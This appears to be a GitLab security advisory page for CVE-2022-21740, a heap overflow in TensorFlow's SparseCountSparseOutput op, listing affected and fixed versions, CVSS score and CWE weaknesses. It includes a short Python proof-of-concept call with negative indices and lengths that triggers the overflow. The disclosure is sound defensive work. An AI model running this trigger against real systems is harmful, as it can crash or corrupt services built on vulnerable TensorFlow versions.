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  5. CVE-2022-21740

CVE-2022-21740: Heap overflow in Tensorflow

February 9, 2022 (updated November 13, 2024)

The implementation of SparseCountSparseOutput is vulnerable to a heap overflow:

import tensorflow as tf
import numpy as np

tf.raw_ops.SparseCountSparseOutput(
indices=[[-1,-1]],
values=[2],
dense_shape=[1, 1],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)

References

  • github.com/advisories/GHSA-44qp-9wwf-734r
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-64.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-119.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc
  • github.com/tensorflow/tensorflow/commit/2b7100d6cdff36aa21010a82269bc05a6d1cc74a
  • github.com/tensorflow/tensorflow/commit/adbbabdb0d3abb3cdeac69e38a96de1d678b24b3
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-44qp-9wwf-734r
  • nvd.nist.gov/vuln/detail/CVE-2022-21740

Code Behaviors & Features

Detect and mitigate CVE-2022-21740 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 2.5.3, all versions starting from 2.6.0 before 2.6.3, all versions starting from 2.7.0 before 2.7.1, version 2.7.0

Fixed versions

  • 2.5.3
  • 2.6.3
  • 2.7.1

Solution

Upgrade to versions 2.5.3, 2.6.3, 2.7.1 or above.

Impact 8.8 HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-gpu/CVE-2022-21740.yml

Spotted a mistake? Edit the file on GitLab.

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